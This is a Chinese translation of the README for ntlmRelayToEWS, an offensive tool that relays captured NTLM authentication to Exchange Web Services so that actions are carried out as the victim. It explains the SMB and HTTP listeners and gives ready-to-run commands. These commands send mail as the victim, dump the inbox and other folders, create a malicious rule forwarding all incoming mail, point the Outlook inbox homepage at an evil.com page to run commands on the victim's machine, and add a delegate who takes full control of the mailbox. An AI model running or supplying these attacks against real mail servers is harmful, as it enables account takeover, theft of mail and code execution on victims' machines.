作者:Arno0x0x - @Arno0x0x
ntlmRelayToEWS 是一款用于对 Exchange Web Services (EWS) 执行 NTLM 中继攻击的工具。它会在 445 端口启动一个 SMB 监听器,在 80 端口启动一个 HTTP 监听器,等待来自受害者的传入连接。一旦受害者连接到其中一个监听器,就会触发 NTLM 协商,并将该协商中继到目标 EWS 服务器。
显然,该工具并未实现完整的 EWS API,因此仅实现了少数在某些攻击场景中有用的服务。我可能会在未来添加更多功能。请参阅“用法”部分了解已实现的 EWS 调用。
Exchange 版本:
我仅针对 Exchange Server 2010 SP2 测试了该工具(诚然,这已经相当古老了),因此所有 EWS SOAP 请求模板以及 EWS 响应的解析都仅针对此 Exchange 版本进行了测试。虽然我自己没有测试过,但有人报告称该工具也可在 Exchange 2016 服务器上直接使用(即无需修改 SOAP 请求模板)。
如果这些 SOAP 请求在其他版本的 Exchange 上无法工作,通过使用 Microsoft EWS 托管 API 的跟踪模式捕获正确的 SOAP 请求,很容易创建匹配新版本的 SOAP 请求模板(我就是这样做的!)。
EWS SOAP 客户端:
我本希望使用 SOAP 客户端,以便能够基于 Exchange 的 WSDL 自动创建所有 SOAP 请求。我尝试过使用 zeep,但在使其与 Exchange WSDL 配合使用时撞了墙,因为它需要下载外部命名空间,因此需要互联网连接。此外,使用 zeep 时,自定义传输会话需要 Requests.session,而这并不是我们默认使用的 HTTPClientRelay 所采用的 HTTP(S) 会话类型:要么需要重构 HTTPClientRelay 以使用 Requests(/me 懒),要么简单地让 zeep 通过 zeep.client.create_message() 创建消息,然后使用我们已经拥有的中继会话发送。或者,也许是因为我是个糟糕的开发人员?算了……
ntlmRelayToEWS 需要正确/干净地安装 Impacket。请按照他们的说明安装可用的 Impacket 版本。
ntlmRelayToEWS 实现了以下攻击,所有这些攻击都以中继用户(受害者)的名义执行。
请参阅帮助获取更多信息:./ntlmRelayToEWS -h。使用 --verbose 或 -v 标志获取更多调试信息。
sendMail
向一个或多个目标发送 HTML 格式的邮件:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
从预定义文件夹(收件箱、已发送邮件、日历、任务)中检索所有项目:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
创建一条恶意转发规则,将受害者的所有传入邮件转发到另一个邮箱:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
通过指定 URL 为文件夹(通常为收件箱文件夹)设置主页。这一由 SensePost/Etienne Stalmans 揭示的技术,允许通过伪造特定 HTML 页面在受害者的 Outlook 程序中执行任意命令:Outlook 主页 – 另一个 Ruler 攻击向量:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
在受害者的主邮箱上设置一个委派地址。换句话说,受害者将其邮箱控制权委派给其他人。完成后,被委派的地址可以通过在 Outlook 中将受害者的邮箱作为附加邮箱打开,从而完全控制受害者的邮箱:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
为了让受害者向 ntlmRelayToEWS 发送其凭据,您可以使用以下任何一种众所周知的方法:
Invoke-SendEmail.ps1 脚本实现。基于 Impacket 和 Alberto Solino @agsolino 开发的 ntlmrelayx。
本工具仅计划用于合法且正当的用途:
引用 Empire 作者的话: 我们无法构建对合法信息安全行业有用的攻击性工具,同时防止恶意行为者滥用它们。